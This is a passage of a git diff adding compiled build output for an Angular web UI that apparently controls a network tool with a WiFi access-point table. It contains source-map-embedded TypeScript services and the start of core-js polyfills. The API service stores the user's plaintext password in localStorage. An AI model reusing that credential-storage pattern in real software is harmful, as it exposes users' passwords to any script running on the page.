\\n\\n\\n\\n\"","module.exports = \"\\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IiIsImZpbGUiOiJzcmMvYXBwL2NvbXBvbmVudHMvd2lmaS10YWJsZS93aWZpLXRhYmxlLmNvbXBvbmVudC5zY3NzIn0= */\"","import {Component, OnInit, OnDestroy, ViewChild} from '@angular/core';\nimport { SortService, ColumnSortedEvent } from '../../services/sort.service';\nimport {ApiService} from '../../services/api.service';\nimport {Ap} from '../../models/ap';\nimport {Module} from '../../models/module';\nimport { OmniBarService } from '../../services/omnibar.service';\nimport { ClipboardService } from '../../services/clipboard.service';\n\ndeclare var $: any;\n\n@Component({\n selector: 'ui-wifi-table',\n templateUrl: './wifi-table.component.html',\n styleUrls: ['./wifi-table.component.scss']\n})\nexport class WifiTableComponent implements OnInit, OnDestroy {\n aps: Ap[] = [];\n wifi: Module;\n sort: ColumnSortedEvent;\n visibleWPS = null;\n visibleClients = {};\n visibleMenu = null;\n visibleClientMenu = null;\n sortSub: any;\n currAP: Ap = null;\n hopping: boolean = true;\n\n constructor(private api: ApiService, private sortService: SortService, public omnibar: OmniBarService, public clipboard: ClipboardService) { \n this.sort = {field: 'rssi', direction: 'asc', type:''};\n this.update(this.api.session);\n }\n\n ngOnInit() {\n this.api.onNewData.subscribe(session => {\n this.update(session);\n });\n\n this.sortSub = this.sortService.onSort.subscribe(event => {\n this.sort = event;\n this.sortService.sort(this.aps, event);\n });\n }\n\n ngOnDestroy() {\n this.sortSub.unsubscribe();\n }\n\n setAlias(host) {\n $('#in').val(host.alias);\n $('#inhost').val(host.mac);\n $('#inputModalTitle').html('Set alias for ' + host.mac);\n $('#inputModal').modal('show');\n }\n\n doSetAlias() {\n $('#inputModal').modal('hide');\n\n let mac = $('#inhost').val();\n let alias = $('#in').val();\n\n if( alias.trim() == \"\" )\n alias = '\"\"';\n\n this.api.cmd(\"alias \" + mac + \" \" + alias);\n }\n\n private update(session) {\n this.wifi = this.api.module('wifi');\n if( this.wifi && this.wifi.state && this.wifi.state.channels ) {\n this.hopping = this.wifi.state.channels.length > 1;\n }\n\n if( $('.menu-dropdown').is(':visible') )\n return;\n\n let aps = session.wifi['aps'];\n\n if( aps.length == 0 )\n this.currAP = null;\n\n this.aps = aps; \n this.sortService.sort(this.aps, this.sort);\n\n if( this.currAP != null ) {\n for( let i = 0; i < this.aps.length; i++ ) {\n let ap = this.aps[i];\n if( ap.mac == this.currAP.mac ) {\n this.currAP = ap;\n break;\n }\n }\n\n this.sortService.sort(this.currAP.clients, this.sort);\n }\n }\n}\n","import { Injectable } from '@angular/core';\nimport { Router, CanActivate, ActivatedRouteSnapshot, RouterStateSnapshot } from '@angular/router';\n\nimport { ApiService } from '../services/api.service';\n\n@Injectable({ providedIn: 'root' })\nexport class AuthGuard implements CanActivate {\n constructor(\n private router: Router,\n private api: ApiService\n ) {}\n\n canActivate(route: ActivatedRouteSnapshot, state: RouterStateSnapshot) {\n if( this.api.Ready() ) {\n return true;\n }\n this.router.navigate(['/login'], { queryParams: { returnTo: state.url }});\n return false;\n }\n}\n","import { Injectable, EventEmitter } from '@angular/core';\nimport { HttpClient, HttpHeaders } from '@angular/common/http';\n\nimport compareVersions from 'compare-versions';\n\nimport { Observable } from 'rxjs/Observable';\nimport { startWith, switchMap } from \"rxjs/operators\";\nimport { from } from 'rxjs';\nimport { interval } from \"rxjs/internal/observable/interval\";\nimport 'rxjs/add/operator/map';\nimport 'rxjs/add/operator/catch';\n\nimport { environment } from '../../environments/environment';\nimport { Session } from '../models/session';\nimport { Event } from '../models/event';\nimport { Command, Response } from '../models/command';\n\ndeclare var $: any;\n\nexport class Settings {\n public schema: string = document.location.protocol || 'http:';\n public host: string = document.location.hostname || \"127.0.0.1\";\n public port: string = (document.location.protocol || 'http:') == 'http:' ? '8081' : '8083';\n public path: string = '/api';\n public interval: number = 1000;\n public events: number = 25;\n public muted: string[] = [];\n public omnibar: boolean = true;\n public pinned: any = {\n modules: {},\n caplets: {}\n };\n\n public URL() : string {\n return this.schema + '//' + this.host + ':' + this.port + this.path;\n }\n\n public Warning() : boolean {\n if( this.host == 'localhost' || this.host == '127.0.0.1' )\n return false;\n\n return this.schema != 'https:';\n }\n\n public isPinned(name : string) : boolean {\n return (name in this.pinned.modules) || (name in this.pinned.caplets);\n }\n\n public pinToggle(name : string, what : string) {\n if( what == 'caplet' ) {\n if( this.isPinned(name) )\n delete this.pinned.caplets[name];\n else\n this.pinned.caplets[name] = true;\n } else {\n if( this.isPinned(name) )\n delete this.pinned.modules[name];\n else\n this.pinned.modules[name] = true;\n }\n }\n\n public from(obj : any) {\n this.schema = obj.schema || this.schema;\n this.host = obj.host || this.host;\n this.port = obj.port || this.port;\n this.path = obj.path || this.path;\n this.interval = obj.interval || this.interval;\n this.events = obj.events || this.events;\n this.muted = obj.muted || this.muted;\n this.omnibar = obj.omnibar || this.omnibar;\n this.pinned = obj.pinned || this.pinned;\n }\n\n public save() {\n localStorage.setItem('settings', JSON.stringify({\n schema: this.schema,\n host: this.host,\n port: this.port,\n path: this.path,\n interval: this.interval,\n events: this.events,\n muted: this.muted,\n omnibar: this.omnibar,\n pinned: this.pinned\n }));\n }\n}\n\nexport class Credentials {\n public valid: boolean = false;\n public user: string = \"\";\n public pass: string = \"\";\n public headers: HttpHeaders = null;\n\n public set(user : string, pass : string) {\n this.user = user;\n this.pass = pass;\n this.headers = new HttpHeaders().set(\"Authorization\", \"Basic \" + btoa(this.user+\":\"+this.pass));\n }\n\n public save() {\n localStorage.setItem('auth', JSON.stringify({\n username: this.user,\n password: this.pass\n }));\n }\n\n public clear() {\n this.user = \"\";\n this.pass = \"\";\n this.headers = null;\n }\n}\n\n@Injectable({\n providedIn: 'root'\n})\nexport class ApiService {\n // what API to interact with and how to interact with it\n public settings : Settings = new Settings();\n // updated session object\n public session : Session = null;\n // updated events objects\n public events : Event[] = new Array();\n // current /api/session execution time in milliseconds\n public ping : number = 0;\n // true if updates have been paused\n public paused : boolean = false;\n // filled if /api/session can't be retrieved\n public error : any = null;\n // if filled it will pass the parameter once to /api/session\n public sessionFrom : string = '';\n // if filled it will pass the parameter once to /api/events\n public eventsFrom : string = '';\n\n // triggerd when the session object has been updated\n public onNewData : EventEmitter = new EventEmitter();\n // triggered when the events have been updated\n public onNewEvents : EventEmitter = new EventEmitter();\n // triggered when the user credentials are not valid\n public onLoggedOut : EventEmitter = new EventEmitter();\n // triggered when the user credentials are valid and he's just been logged in\n public onLoggedIn : EventEmitter = new EventEmitter();\n // triggered when there's an error (either bad auth or just the api is down) on /api/session\n public onSessionError : EventEmitter = new EventEmitter();\n // triggered when a command returns an error\n public onCommandError : EventEmitter = new EventEmitter();\n\n private creds : Credentials = new Credentials();\n private cachedSession : Observable;\n private cachedEvents : Observable;\n\n constructor(private http:HttpClient) {\n // we use these observable objects to return a cached\n // version of the session or the events when an error\n // occurs\n this.cachedSession = new Observable((observer) => {\n observer.next(this.session);\n observer.complete();\n });\n\n this.cachedEvents = new Observable((observer) => {\n observer.next(this.events);\n observer.complete();\n });\n\n // credentials might be stored in the local storage already,\n // try to load and authenticate with them in order to restore\n // the user session\n this.loadStorage();\n }\n\n // return true if the user is logged in with valid credentials\n // and we got the first session object\n public Ready() : boolean {\n return this.creds.valid && this.session && this.session.modules && this.session.modules.length > 0;\n }\n\n // return a module given its name\n // TODO: just use a dictionary for session.modules!\n public module(name : string) {\n for( let i = 0; i < this.session.modules.length; i++ ){\n let mod = this.session.modules[i];\n if( mod.name == name ) {\n return mod;\n }\n }\n return null;\n }\n\n public env(name : string) {\n for( let key in this.session.env.data ) {\n if( name == key )\n return this.session.env.data[key];\n }\n return \"\";\n }\n \n // start polling /api/events every second\n public pollEvents() {\n console.log(\"api.pollEvents() started\");\n return interval(this.settings.interval)\n .pipe(\n startWith(0),\n switchMap(() => this.getEvents())\n );\n }\n\n // start polling /api/session every second\n public pollSession() {\n console.log(\"api.pollSession() started\");\n return interval(this.settings.interval)\n .pipe(\n startWith(0),\n switchMap(() => this.getSession())\n );\n }\n\n // set the user credentials and try to login\n public login(username: string, password: string) {\n console.log(\"api.login()\");\n this.creds.set(username, password);\n return this.getSession();\n }\n\n // log out the user\n public logout() {\n if( this.creds.valid == false )\n return;\n\n console.log(\"api.logout()\");\n this.clearStorage();\n this.creds.valid = false;\n }\n\n // read settings and user credentials from the local storage if available\n private loadStorage() {\n let sets = localStorage.getItem('settings');\n if( sets ) {\n this.settings.from(JSON.parse(sets));\n }\n\n let auth = localStorage.getItem('auth');\n if( auth ) {\n let creds = JSON.parse(auth);\n console.log(\"found stored credentials\");\n this.login(creds.username, creds.password).subscribe((session) => {\n this.session = session; \n });\n } else {\n this.session = null;\n this.creds.valid = false;\n this.onLoggedOut.emit(null);\n }\n }\n\n // remove settings and user credentials from the local storage\n private clearStorage() {\n console.log(\"api.clearStorage()\");\n\n localStorage.removeItem('auth');\n\n this.creds.clear();\n }\n\n // save settings and user credentials to the local storage\n private saveStorage() {\n this.creds.save();\n this.settings.save();\n }\n\n // handler for /api/events response\n private eventsNew(response) {\n if( this.paused == false ) {\n this.events = response;\n this.onNewEvents.emit(response);\n }\n return response;\n }\n\n // handler for /api/events error\n private eventsError(error) {\n // if /api/events fails, most likely /api/session is failing\n // as well, either due to wrong credentials or to the API not\n // being reachable - let the main session request fail and \n // set the error state, this one will just fail silently\n // and return the cached events.\n return this.cachedEvents;\n }\n\n // GET /api/events and return an observable list of events\n public getEvents() : Observable {\n if( this.isPaused() )\n return this.cachedEvents;\n\n let from = this.eventsFrom;\n if( from != '' ) {\n this.eventsFrom = '';\n }\n\n return this.http\n .get( this.settings.URL() + '/events', \n {\n headers: this.creds.headers,\n params: {'from':from, 'n': String(this.settings.events)}\n })\n .map(response => this.eventsNew(response))\n .catch(error => this.eventsError(error));\n }\n\n // DELETE /api/events and clear events\n public clearEvents() {\n console.log(\"clearing events\");\n this.http\n .delete( this.settings.URL() + '/events', {headers: this.creds.headers})\n .subscribe(response => this.eventsNew([]));\n }\n\n // set the credentials as valid after a succesfull session request,\n // if the user was logged out, it'll emit the onLoggedIn event\n private setLoggedIn() : boolean {\n let wasLogged = this.creds.valid;\n\n this.creds.valid = true;\n this.saveStorage();\n\n // if the user wasn't logged, broadcast the logged in event\n if(wasLogged == false) {\n console.log(\"loggedin.emit\");\n this.onLoggedIn.emit();\n }\n\n return wasLogged;\n }\n\n // handler for /api/session error\n private sessionError(error) {\n this.ping = 0;\n\n // handle bad credentials and general errors separately\n if( error.status == 401 ) {\n this.logout();\n console.log(\"loggedout.emit\");\n this.onLoggedOut.emit(error);\n } else {\n this.error = error;\n console.log(\"error.emit\");\n this.onSessionError.emit(error);\n }\n\n // return an observable to the last cached object\n return this.cachedSession;\n }\n\n // handler for /api/session response\n private sessionNew(start, response) {\n let wasError = this.error != null;\n\n this.ping = new Date().getTime() - start.getTime();\n this.error = null;\n\n // if in prod, make sure we're talking to a compatible API version\n if( compareVersions(response.version, environment.requires) == -1 ) {\n if( environment.production ) {\n this.logout();\n this.onLoggedOut.emit({\n status: 666,\n error: \"This client requires at least API v\" + environment.requires + \n \" but \" + this.settings.URL() + \" is at v\" + response.version\n });\n return response;\n }\n }\n \n // save credentials and emit logged in event if needed\n let wasLogged = this.setLoggedIn();\n\n // update the session object instance\n this.session = response;\n\n let muted = this.module('events.stream').state.ignoring.sort();\n // if we just logged in and the user has muted events in his\n // preferences that are not in the API ignore list, we need to\n // restore them\n if( wasError == true || wasLogged == false ) {\n let toRestore = this.settings.muted.filter(function(e){ return !muted.includes(e); })\n if( toRestore.length ) {\n console.log(\"restoring muted events:\", toRestore);\n for( let i = 0; i < toRestore.length; i++ ) {\n this.cmd(\"events.ignore \" + toRestore[i]);\n }\n }\n }\n // update muted events\n this.settings.muted = muted;\n // inform all subscribers that new data is available\n this.onNewData.emit(response);\n\n return response;\n }\n\n public isPaused() {\n // pause ui updates if:\n //\n // the user excplicitly pressed the paused button\n return this.paused || \n // an action button is hovered (https://stackoverflow.com/questions/8981463/detect-if-hovering-over-element-with-jquery)\n $('.btn-action').filter(function() { return $(this).is(\":hover\"); }).length > 0 || \n // a dropdown is open\n $('.menu-dropdown').is(':visible');\n }\n\n // GET /api/session and return an observable Session\n public getSession() : Observable {\n if( this.isPaused() )\n return this.cachedSession;\n\n let from = this.sessionFrom;\n if( from != '' ) {\n this.sessionFrom = '';\n }\n\n let start = new Date();\n return this.http\n .get( this.settings.URL() + '/session', {\n headers: this.creds.headers,\n params: {'from':from}\n })\n .map(response => this.sessionNew(start, response))\n .catch(error => this.sessionError(error));\n }\n\n // GET /api/file given its name\n public readFile(name : string) {\n console.log(\"readFile \" + name);\n return this.http.get(\n this.settings.URL() + '/file', \n {\n headers: this.creds.headers,\n responseType: 'text' as 'json',\n params: {'name': name}\n });\n }\n\n // POST /api/file given its name and new contents\n public writeFile(name : string, data : string) {\n console.log(\"writeFile \" + name + \" \" + data.length + \"b\");\n\n this.paused = false;\n return this.http.post(\n this.settings.URL() + '/file', \n new Blob([data]),\n {\n headers: this.creds.headers,\n params: {'name': name}\n });\n }\n\n // POST /api/session to execute a command, can be asynchronous and\n // just broadcast errors via the event emitter, or synchronous and \n // return a subscribable response\n public cmd(cmd: string, sync: boolean = false) {\n this.paused = false;\n\n if( sync ) {\n console.log(\"cmd: \" + cmd);\n return this.http.post(\n this.settings.URL() + '/session', \n {cmd: cmd},\n {headers: this.creds.headers});\n } \n\n return this.cmd(cmd, true)\n .subscribe(\n (val) => {},\n error => { this.onCommandError.emit(error); },\n () => {});\n }\n}\n","import {Injectable} from '@angular/core';\n\n\n@Injectable({\n providedIn: 'root'\n})\nexport class ClipboardService {\n constructor() { }\n\n // taken from https://stackoverflow.com/questions/400212/how-do-i-copy-to-the-clipboard-in-javascript/30810322\n copy(text : string) {\n var textArea = document.createElement(\"textarea\");\n var range = document.createRange();\n\n textArea.style.position = 'fixed';\n textArea.style.top = '0';\n textArea.style.left = '0';\n // Ensure it has a small width and height. Setting to 1px / 1em\n // doesn't work as this gives a negative w/h on some browsers.\n textArea.style.width = '2em';\n textArea.style.height = '2em';\n // We don't need padding, reducing the size if it does flash render.\n textArea.style.padding = '0';\n // Clean up any borders.\n textArea.style.border = 'none';\n textArea.style.outline = 'none';\n textArea.style.boxShadow = 'none';\n // Avoid flash of white box if rendered for any reason.\n textArea.style.background = 'transparent';\n\n textArea.value = text;\n textArea.readOnly = false;\n textArea.contentEditable = 'true';\n\n document.body.appendChild(textArea);\n\n textArea.select();\n\n range.selectNodeContents(textArea);\n var s = window.getSelection();\n s.removeAllRanges();\n s.addRange(range);\n\n textArea.setSelectionRange(0, 999999);\n\n try {\n var ok = document.execCommand('copy');\n if( !ok ) {\n console.log('Copying text command failed');\n }\n } catch (err) {\n console.log('Oops, unable to copy', err);\n }\n\n document.body.removeChild(textArea);\n }\n\n}\n\n","import {Injectable} from '@angular/core';\n\n\n@Injectable({\n providedIn: 'root'\n})\nexport class OmniBarService {\n public query : string = '';\n\n constructor() { }\n}\n\n","import {Injectable, EventEmitter} from '@angular/core';\n\nexport interface ColumnSortedEvent {\n field: string;\n direction: string;\n type: string;\n}\n\n@Injectable({\n providedIn: 'root'\n})\nexport class SortService {\n constructor() { }\n\n public onSort: EventEmitter = new EventEmitter();\n\n emitSort(event: ColumnSortedEvent) {\n this.onSort.emit(event);\n }\n\n sort(array: any[], how: ColumnSortedEvent) {\n // console.log(\"sorting \" + array.length + \" elements\", how);\n let less = 1;\n let greater = -1;\n if( how.direction == 'desc' ) {\n less = -1;\n greater = 1;\n }\n\n if( how.type == 'ip' ) {\n array.sort((a,b) => {\n a = a[how.field].split( '.' );\n b = b[how.field].split( '.' );\n for( var i = 0; i < a.length; i++ ) {\n if( ( a[i] = parseInt( a[i] ) ) < ( b[i] = parseInt( b[i] ) ) )\n return less;\n else if( a[i] > b[i] )\n return greater;\n }\n return 0;\n });\n } else {\n array.sort((a,b) => a[how.field] < b[how.field] ? less : a[how.field] > b[how.field] ? greater : 0);\n } \n }\n}\n\n","// This file can be replaced during build by using the `fileReplacements` array.\n// `ng build --prod` replaces `environment.ts` with `environment.prod.ts`.\n// The list of file replacements can be found in `angular.json`.\n\nimport pkg from '../../package.json';\n\nexport const environment = {\n production: false,\n name: pkg.name,\n version: pkg.version,\n requires: pkg.requires\n};\n\n/*\n * For easier debugging in development mode, you can import the following file\n * to ignore zone related error stack frames such as `zone.run`, `zoneDelegate.invokeTask`.\n *\n * This import should be commented out in production mode because it will have a negative impact\n * on performance if an error is thrown.\n */\n// import 'zone.js/dist/zone-error'; // Included with Angular CLI.\n","import { enableProdMode } from '@angular/core';\nimport { platformBrowserDynamic } from '@angular/platform-browser-dynamic';\n\nimport { AppModule } from './app/app.module';\nimport { environment } from './environments/environment';\n\nif (environment.production) {\n enableProdMode();\n}\n\nplatformBrowserDynamic().bootstrapModule(AppModule)\n .catch(err => console.error(err));\n"],"sourceRoot":""}
\ No newline at end of file
diff --git a/modules/ui/ui/polyfills.js b/modules/ui/ui/polyfills.js
new file mode 100644
index 00000000..abaae857
--- /dev/null
+++ b/modules/ui/ui/polyfills.js
@@ -0,0 +1,5800 @@
+(window["webpackJsonp"] = window["webpackJsonp"] || []).push([["polyfills"],{
+
+/***/ "./node_modules/@angular-devkit/build-angular/src/angular-cli-files/models/jit-polyfills.js":
+/*!**************************************************************************************************!*\
+ !*** ./node_modules/@angular-devkit/build-angular/src/angular-cli-files/models/jit-polyfills.js ***!
+ \**************************************************************************************************/
+/*! no exports provided */
+/***/ (function(module, __webpack_exports__, __webpack_require__) {
+
+"use strict";
+__webpack_require__.r(__webpack_exports__);
+/* harmony import */ var core_js_es7_reflect__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! core-js/es7/reflect */ "./node_modules/core-js/es7/reflect.js");
+/* harmony import */ var core_js_es7_reflect__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(core_js_es7_reflect__WEBPACK_IMPORTED_MODULE_0__);
+/**
+ * @license
+ * Copyright Google Inc. All Rights Reserved.
+ *
+ * Use of this source code is governed by an MIT-style license that can be
+ * found in the LICENSE file at https://angular.io/license
+ */
+
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/es7/reflect.js":
+/*!*********************************************!*\
+ !*** ./node_modules/core-js/es7/reflect.js ***!
+ \*********************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+__webpack_require__(/*! ../modules/es7.reflect.define-metadata */ "./node_modules/core-js/modules/es7.reflect.define-metadata.js");
+__webpack_require__(/*! ../modules/es7.reflect.delete-metadata */ "./node_modules/core-js/modules/es7.reflect.delete-metadata.js");
+__webpack_require__(/*! ../modules/es7.reflect.get-metadata */ "./node_modules/core-js/modules/es7.reflect.get-metadata.js");
+__webpack_require__(/*! ../modules/es7.reflect.get-metadata-keys */ "./node_modules/core-js/modules/es7.reflect.get-metadata-keys.js");
+__webpack_require__(/*! ../modules/es7.reflect.get-own-metadata */ "./node_modules/core-js/modules/es7.reflect.get-own-metadata.js");
+__webpack_require__(/*! ../modules/es7.reflect.get-own-metadata-keys */ "./node_modules/core-js/modules/es7.reflect.get-own-metadata-keys.js");
+__webpack_require__(/*! ../modules/es7.reflect.has-metadata */ "./node_modules/core-js/modules/es7.reflect.has-metadata.js");
+__webpack_require__(/*! ../modules/es7.reflect.has-own-metadata */ "./node_modules/core-js/modules/es7.reflect.has-own-metadata.js");
+__webpack_require__(/*! ../modules/es7.reflect.metadata */ "./node_modules/core-js/modules/es7.reflect.metadata.js");
+module.exports = __webpack_require__(/*! ../modules/_core */ "./node_modules/core-js/modules/_core.js").Reflect;
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_a-function.js":
+/*!*****************************************************!*\
+ !*** ./node_modules/core-js/modules/_a-function.js ***!
+ \*****************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = function (it) {
+ if (typeof it != 'function') throw TypeError(it + ' is not a function!');
+ return it;
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_an-instance.js":
+/*!******************************************************!*\
+ !*** ./node_modules/core-js/modules/_an-instance.js ***!
+ \******************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = function (it, Constructor, name, forbiddenField) {
+ if (!(it instanceof Constructor) || (forbiddenField !== undefined && forbiddenField in it)) {
+ throw TypeError(name + ': incorrect invocation!');
+ } return it;
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_an-object.js":
+/*!****************************************************!*\
+ !*** ./node_modules/core-js/modules/_an-object.js ***!
+ \****************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js");
+module.exports = function (it) {
+ if (!isObject(it)) throw TypeError(it + ' is not an object!');
+ return it;
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_array-from-iterable.js":
+/*!**************************************************************!*\
+ !*** ./node_modules/core-js/modules/_array-from-iterable.js ***!
+ \**************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var forOf = __webpack_require__(/*! ./_for-of */ "./node_modules/core-js/modules/_for-of.js");
+
+module.exports = function (iter, ITERATOR) {
+ var result = [];
+ forOf(iter, false, result.push, result, ITERATOR);
+ return result;
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_array-includes.js":
+/*!*********************************************************!*\
+ !*** ./node_modules/core-js/modules/_array-includes.js ***!
+ \*********************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+// false -> Array#indexOf
+// true -> Array#includes
+var toIObject = __webpack_require__(/*! ./_to-iobject */ "./node_modules/core-js/modules/_to-iobject.js");
+var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js");
+var toAbsoluteIndex = __webpack_require__(/*! ./_to-absolute-index */ "./node_modules/core-js/modules/_to-absolute-index.js");
+module.exports = function (IS_INCLUDES) {
+ return function ($this, el, fromIndex) {
+ var O = toIObject($this);
+ var length = toLength(O.length);
+ var index = toAbsoluteIndex(fromIndex, length);
+ var value;
+ // Array#includes uses SameValueZero equality algorithm
+ // eslint-disable-next-line no-self-compare
+ if (IS_INCLUDES && el != el) while (length > index) {
+ value = O[index++];
+ // eslint-disable-next-line no-self-compare
+ if (value != value) return true;
+ // Array#indexOf ignores holes, Array#includes - not
+ } else for (;length > index; index++) if (IS_INCLUDES || index in O) {
+ if (O[index] === el) return IS_INCLUDES || index || 0;
+ } return !IS_INCLUDES && -1;
+ };
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_array-methods.js":
+/*!********************************************************!*\
+ !*** ./node_modules/core-js/modules/_array-methods.js ***!
+ \********************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+// 0 -> Array#forEach
+// 1 -> Array#map
+// 2 -> Array#filter
+// 3 -> Array#some
+// 4 -> Array#every
+// 5 -> Array#find
+// 6 -> Array#findIndex
+var ctx = __webpack_require__(/*! ./_ctx */ "./node_modules/core-js/modules/_ctx.js");
+var IObject = __webpack_require__(/*! ./_iobject */ "./node_modules/core-js/modules/_iobject.js");
+var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js");
+var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js");
+var asc = __webpack_require__(/*! ./_array-species-create */ "./node_modules/core-js/modules/_array-species-create.js");
+module.exports = function (TYPE, $create) {
+ var IS_MAP = TYPE == 1;
+ var IS_FILTER = TYPE == 2;
+ var IS_SOME = TYPE == 3;
+ var IS_EVERY = TYPE == 4;
+ var IS_FIND_INDEX = TYPE == 6;
+ var NO_HOLES = TYPE == 5 || IS_FIND_INDEX;
+ var create = $create || asc;
+ return function ($this, callbackfn, that) {
+ var O = toObject($this);
+ var self = IObject(O);
+ var f = ctx(callbackfn, that, 3);
+ var length = toLength(self.length);
+ var index = 0;
+ var result = IS_MAP ? create($this, length) : IS_FILTER ? create($this, 0) : undefined;
+ var val, res;
+ for (;length > index; index++) if (NO_HOLES || index in self) {
+ val = self[index];
+ res = f(val, index, O);
+ if (TYPE) {
+ if (IS_MAP) result[index] = res; // map
+ else if (res) switch (TYPE) {
+ case 3: return true; // some
+ case 5: return val; // find
+ case 6: return index; // findIndex
+ case 2: result.push(val); // filter
+ } else if (IS_EVERY) return false; // every
+ }
+ }
+ return IS_FIND_INDEX ? -1 : IS_SOME || IS_EVERY ? IS_EVERY : result;
+ };
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_array-species-constructor.js":
+/*!********************************************************************!*\
+ !*** ./node_modules/core-js/modules/_array-species-constructor.js ***!
+ \********************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js");
+var isArray = __webpack_require__(/*! ./_is-array */ "./node_modules/core-js/modules/_is-array.js");
+var SPECIES = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('species');
+
+module.exports = function (original) {
+ var C;
+ if (isArray(original)) {
+ C = original.constructor;
+ // cross-realm fallback
+ if (typeof C == 'function' && (C === Array || isArray(C.prototype))) C = undefined;
+ if (isObject(C)) {
+ C = C[SPECIES];
+ if (C === null) C = undefined;
+ }
+ } return C === undefined ? Array : C;
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_array-species-create.js":
+/*!***************************************************************!*\
+ !*** ./node_modules/core-js/modules/_array-species-create.js ***!
+ \***************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+// 9.4.2.3 ArraySpeciesCreate(originalArray, length)
+var speciesConstructor = __webpack_require__(/*! ./_array-species-constructor */ "./node_modules/core-js/modules/_array-species-constructor.js");
+
+module.exports = function (original, length) {
+ return new (speciesConstructor(original))(length);
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_classof.js":
+/*!**************************************************!*\
+ !*** ./node_modules/core-js/modules/_classof.js ***!
+ \**************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+// getting tag from 19.1.3.6 Object.prototype.toString()
+var cof = __webpack_require__(/*! ./_cof */ "./node_modules/core-js/modules/_cof.js");
+var TAG = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('toStringTag');
+// ES3 wrong here
+var ARG = cof(function () { return arguments; }()) == 'Arguments';
+
+// fallback for IE11 Script Access Denied error
+var tryGet = function (it, key) {
+ try {
+ return it[key];
+ } catch (e) { /* empty */ }
+};
+
+module.exports = function (it) {
+ var O, T, B;
+ return it === undefined ? 'Undefined' : it === null ? 'Null'
+ // @@toStringTag case
+ : typeof (T = tryGet(O = Object(it), TAG)) == 'string' ? T
+ // builtinTag case
+ : ARG ? cof(O)
+ // ES3 arguments fallback
+ : (B = cof(O)) == 'Object' && typeof O.callee == 'function' ? 'Arguments' : B;
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_cof.js":
+/*!**********************************************!*\
+ !*** ./node_modules/core-js/modules/_cof.js ***!
+ \**********************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+var toString = {}.toString;
+
+module.exports = function (it) {
+ return toString.call(it).slice(8, -1);
+};
+
+
+/***/ }),
+
+/***/ "./node_modules/core-js/modules/_collection-strong.js":
+/*!************************************************************!*\
+ !*** ./node_modules/core-js/modules/_collection-strong.js ***!
+ \************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+"use strict";
+
+var dP = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js").f;
+var create = __webpack_require__(/*! ./_object-create */ "./node_modules/core-js/modules/_object-create.js");
+var redefineAll = __webpack_require__(/*! ./_redefine-all */ "./node_modules/core-js/modules/_redefine-all.js");
+var ctx = __webpack_require__(/*! ./_ctx */ "./node_modules/core-js/modules/_ctx.js");
+var anInstance = __webpack_require__(/*! ./_an-instance */ "./node_modules/core-js/modules/_an-instance.js");
+var forOf = __webpack_require__(/*! ./_for-of */ "./node_modules/core-js/modules/_for-of.js");
+var $iterDefine = __webpack_require__(/*! ./_iter-define */ "./node_modules/core-js/modules/_iter-define.js");
+var step = __webpack_require__(/*! ./_iter-step */ "./node_modules/core-js/modules/_iter-step.js");
+var setSpecies = __webpack_require__(/*! ./_set-species */ "./node_modules/core-js/modules/_set-species.js");
+var DESCRIPTORS = __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js");
+var fastKey = __webpack_require__(/*! ./_meta */ "./node_modules/core-js/modules/_meta.js").fastKey;
+var validate = __webpack_require__(/*! ./_validate-collection */ "./node_modules/core-js/modules/_validate-collection.js");
+var SIZE = DESCRIPTORS ? '_s' : 'size';
+
+var getEntry = function (that, key) {
+ // fast case
+ var index = fastKey(key);
+ var entry;
+ if (index !== 'F') return that._i[index];
+ // frozen object case
+ for (entry = that._f; entry; entry = entry.n) {
+ if (entry.k == key) return entry;
+ }
+};
+
+module.exports = {
+ getConstructor: function (wrapper, NAME, IS_MAP, ADDER) {
+ var C = wrapper(function (that, iterable) {
+ anInstance(that, C, NAME, '_i');
+ that._t = NAME; // collection type
+ that._i = create(null); // index
+ that._f = undefined; // first entry
+ that._l = undefined; // last entry
+ that[SIZE] = 0; // size
+ if (iterable != undefined) forOf(iterable, IS_MAP, that[ADDER], that);
